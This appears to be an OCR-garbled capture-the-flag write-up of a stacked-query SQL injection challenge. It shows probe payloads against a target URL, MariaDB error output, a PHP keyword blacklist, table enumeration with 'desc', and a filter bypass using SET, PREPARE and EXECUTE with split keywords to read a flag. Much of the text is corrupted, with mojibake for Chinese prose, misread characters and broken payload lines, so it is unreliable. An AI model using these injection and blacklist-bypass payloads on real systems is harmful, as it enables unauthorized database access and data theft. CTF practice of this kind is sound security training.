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error 1064 : You have an error in vour SQL syntax; check the manual that corresponds to vour MariaDB server version for the right syntax to use near "1 at
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select * from <table name> where inject = x

Al LLiiidand 1=1 Fl and 1=23317 #1 K

o fEurlPHAN

http://220.249.52.133:53805/?inject=1 and 1=1
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array(2)
[ol=>
string(l) "1”
(1]=>

string (7) “hahahah”

o fEurlHiiA

http://220.249.52.133:53805/?inject=1 and 1=2
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array(2)
Lol=>
string(l) "1
(1]=>
string(7) “hahahah”
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select from <table name> where inject=1 and 1=1
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select from <table name> where inject=1 and 1=2
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select from <table name> where inject
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select * from <table_name> where inject =

n]Plditand ‘1'="1 fil and ‘1'="233E17 H1K7
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array(2) {

[ol=>

string(l) "1”

[1l=>

string(7) “hahahah”
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error 1064 : You have an error in yvour SQL syntax; check the manual that corresponds to vour MariaDB server version for the right syntax to use r
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array(2) {
[ol=>
string(1) “17
[11=>

string (7) “hahahah”
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array(2) {
[0]=>
string(l) "1”
[11=>

string(7) “hahahah”
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error 1054 : Unknown column ' 3" in ' order clause’
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return preg_match(”/select update delete drop insert where|\./i”, $inject);
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array(2) {
[0]=>
string(l) "1”
(1]1=>

string(7) “hahahah”

array(l) |
[o]=>
string(16) “1919810931114514”

array(l) {
[01=>

string(5) “words”
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array(2) {
[0]=»
string(1)
[11=»
string(7) “hahahah”
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array (6) |
[0]=»
string(4) “flag”
[11=»
string(12) “varchar (100)”
[2]=»
string(2) "NO”
[3]=>
string(0) 77
[4]=>
NULL
[5]=»
string(0) 77

i\ 1';desc “words’#
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array(2) {
[o]=>
string(l) "1”
[1]=>
string(7) “hahahah”

array (6) {
[o]=>
string(2) ”"id”
[1]=>
string(7) “int(10)”
[2]=>
string(2) "N0O”
[3]=>
string(0) 7”7
[4]=>
NULL
[5]=>
string(0) 7”7

array(6) {
[0]=>
string(4) “data”
[1]=>
string(11) “varchar (20)”
[2]=>
string(2) "NO”
[3]=>
string(0) 7"
[4]=>
NULL
[5]=>

string(0) 7"
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PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name

[USING @var_name [, @var_name]
{DEALLOCATE DROP} PREPARE stmt_name

set [T & B A &4 FME
Z ¥

preparef T-Hilss— AN iE6), HB TR, LAER PG| FiZiEA]
executef TiEMA]

deallocate prepareff YA B (1)1 )

mysql> PREPARE stmt FROM
Query OK, © rows affected (0.01 sec)
Statement prepared

mysql> SET @a=1, @b=10 ;
Query OK, © rows affected (0.00 sec)

mysql> EXECUTE stmt USING @a, @b;
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il sele ct from ;");prepare stmt from @sql;EXECUTE stmt;#
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strstr($inject, “set”) && strstr($inject, “prepare”)
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Sele ct from ;") ;Prepare stmt from @sql;EXECUTE stmt;#
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array(2) {

[o]=>

string(1) 1”7

[11=>

string(7) “hahahah”
1
1

array(l) {

[ol=>

string(38) "flag{c168d583ed0d4d7196967h28chbd0bbed}”
)
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